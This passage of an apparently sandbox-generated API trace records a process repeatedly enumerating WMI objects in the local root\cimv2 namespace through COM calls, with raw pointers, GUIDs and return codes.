riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.266] IUnknown:QueryInterface (in: This=0x6102db0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.266] IUnknown:AddRef (This=0x6102db0) returned 0x3 [0067.266] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.266] IUnknown:QueryInterface (in: This=0x6102db0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6102db4) returned 0x0 [0067.266] IMarshal:GetUnmarshalClass (in: This=0x6102db4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.266] IUnknown:Release (This=0x6102db4) returned 0x3 [0067.266] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.266] IUnknown:AddRef (This=0x6102db0) returned 0x4 [0067.266] IUnknown:QueryInterface (in: This=0x6102db0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.266] IUnknown:Release (This=0x6102db0) returned 0x3 [0067.266] IUnknown:Release (This=0x6102db0) returned 0x2 [0067.266] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.266] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.266] IUnknown:AddRef (This=0x6102db0) returned 0x3 [0067.266] IUnknown:QueryInterface (in: This=0x6102db0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102db0) returned 0x0 [0067.266] IUnknown:Release (This=0x6102db0) returned 0x3 [0067.266] IUnknown:Release (This=0x6102db0) returned 0x2 [0067.266] IUnknown:Release (This=0x6102db0) returned 0x1 [0067.266] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.266] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.267] IUnknown:AddRef (This=0x6102db0) returned 0x2 [0067.267] IWbemClassObject:Get (in: This=0x6102db0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.267] IWbemClassObject:Get (in: This=0x6102db0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.267] IWbemClassObject:Get (in: This=0x6102db0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.267] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.267] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.267] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.267] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.267] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102f48, puReturned=0x2e27944*=0x1) returned 0x0 [0067.268] IUnknown:QueryInterface (in: This=0x6102f48, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102f48) returned 0x0 [0067.268] IUnknown:QueryInterface (in: This=0x6102f48, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.268] IUnknown:QueryInterface (in: This=0x6102f48, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.268] IUnknown:AddRef (This=0x6102f48) returned 0x3 [0067.268] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.268] IUnknown:QueryInterface (in: This=0x6102f48, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6102f4c) returned 0x0 [0067.268] IMarshal:GetUnmarshalClass (in: This=0x6102f4c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.268] IUnknown:Release (This=0x6102f4c) returned 0x3 [0067.269] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.269] IUnknown:AddRef (This=0x6102f48) returned 0x4 [0067.269] IUnknown:QueryInterface (in: This=0x6102f48, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.269] IUnknown:Release (This=0x6102f48) returned 0x3 [0067.269] IUnknown:Release (This=0x6102f48) returned 0x2 [0067.269] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.269] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.269] IUnknown:AddRef (This=0x6102f48) returned 0x3 [0067.269] IUnknown:QueryInterface (in: This=0x6102f48, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102f48) returned 0x0 [0067.269] IUnknown:Release (This=0x6102f48) returned 0x3 [0067.269] IUnknown:Release (This=0x6102f48) returned 0x2 [0067.269] IUnknown:Release (This=0x6102f48) returned 0x1 [0067.269] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.269] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.269] IUnknown:AddRef (This=0x6102f48) returned 0x2 [0067.269] IWbemClassObject:Get (in: This=0x6102f48, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.269] IWbemClassObject:Get (in: This=0x6102f48, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.270] IWbemClassObject:Get (in: This=0x6102f48, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.270] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.270] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.270] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.270] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.270] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61030e0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.271] IUnknown:QueryInterface (in: This=0x61030e0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61030e0) returned 0x0 [0067.271] IUnknown:QueryInterface (in: This=0x61030e0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.271] IUnknown:QueryInterface (in: This=0x61030e0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.271] IUnknown:AddRef (This=0x61030e0) returned 0x3 [0067.271] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.271] IUnknown:QueryInterface (in: This=0x61030e0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61030e4) returned 0x0 [0067.271] IMarshal:GetUnmarshalClass (in: This=0x61030e4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.271] IUnknown:Release (This=0x61030e4) returned 0x3 [0067.271] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.271] IUnknown:AddRef (This=0x61030e0) returned 0x4 [0067.271] IUnknown:QueryInterface (in: This=0x61030e0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.271] IUnknown:Release (This=0x61030e0) returned 0x3 [0067.271] IUnknown:Release (This=0x61030e0) returned 0x2 [0067.271] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.271] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.271] IUnknown:AddRef (This=0x61030e0) returned 0x3 [0067.271] IUnknown:QueryInterface (in: This=0x61030e0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61030e0) returned 0x0 [0067.272] IUnknown:Release (This=0x61030e0) returned 0x3 [0067.272] IUnknown:Release (This=0x61030e0) returned 0x2 [0067.272] IUnknown:Release (This=0x61030e0) returned 0x1 [0067.272] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.272] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.272] IUnknown:AddRef (This=0x61030e0) returned 0x2 [0067.272] IWbemClassObject:Get (in: This=0x61030e0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.272] IWbemClassObject:Get (in: This=0x61030e0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.272] IWbemClassObject:Get (in: This=0x61030e0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.272] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.272] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.272] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.272] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.272] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.273] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6103278, puReturned=0x2e27944*=0x1) returned 0x0 [0067.273] IUnknown:QueryInterface (in: This=0x6103278, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6103278) returned 0x0 [0067.273] IUnknown:QueryInterface (in: This=0x6103278, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.273] IUnknown:QueryInterface (in: This=0x6103278, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.273] IUnknown:AddRef (This=0x6103278) returned 0x3 [0067.274] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.274] IUnknown:QueryInterface (in: This=0x6103278, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x610327c) returned 0x0 [0067.274] IMarshal:GetUnmarshalClass (in: This=0x610327c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.274] IUnknown:Release (This=0x610327c) returned 0x3 [0067.274] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.274] IUnknown:AddRef (This=0x6103278) returned 0x4 [0067.274] IUnknown:QueryInterface (in: This=0x6103278, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.274] IUnknown:Release (This=0x6103278) returned 0x3 [0067.274] IUnknown:Release (This=0x6103278) returned 0x2 [0067.274] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.274] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.274] IUnknown:AddRef (This=0x6103278) returned 0x3 [0067.274] IUnknown:QueryInterface (in: This=0x6103278, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6103278) returned 0x0 [0067.274] IUnknown:Release (This=0x6103278) returned 0x3 [0067.274] IUnknown:Release (This=0x6103278) returned 0x2 [0067.274] IUnknown:Release (This=0x6103278) returned 0x1 [0067.274] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.274] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.274] IUnknown:AddRef (This=0x6103278) returned 0x2 [0067.275] IWbemClassObject:Get (in: This=0x6103278, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.275] IWbemClassObject:Get (in: This=0x6103278, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.275] IWbemClassObject:Get (in: This=0x6103278, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.275] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.275] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.275] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.275] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.275] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.275] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6103410, puReturned=0x2e27944*=0x1) returned 0x0 [0067.276] IUnknown:QueryInterface (in: This=0x6103410, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6103410) returned 0x0 [0067.276] IUnknown:QueryInterface (in: This=0x6103410, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.276] IUnknown:QueryInterface (in: This=0x6103410, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.276] IUnknown:AddRef (This=0x6103410) returned 0x3 [0067.276] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.276] IUnknown:QueryInterface (in: This=0x6103410, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6103414) returned 0x0 [0067.276] IMarshal:GetUnmarshalClass (in: This=0x6103414, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.276] IUnknown:Release (This=0x6103414) returned 0x3 [0067.276] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.276] IUnknown:AddRef (This=0x6103410) returned 0x4 [0067.277] IUnknown:QueryInterface (in: This=0x6103410, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.277] IUnknown:Release (This=0x6103410) returned 0x3 [0067.277] IUnknown:Release (This=0x6103410) returned 0x2 [0067.277] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.277] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.277] IUnknown:AddRef (This=0x6103410) returned 0x3 [0067.277] IUnknown:QueryInterface (in: This=0x6103410, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, 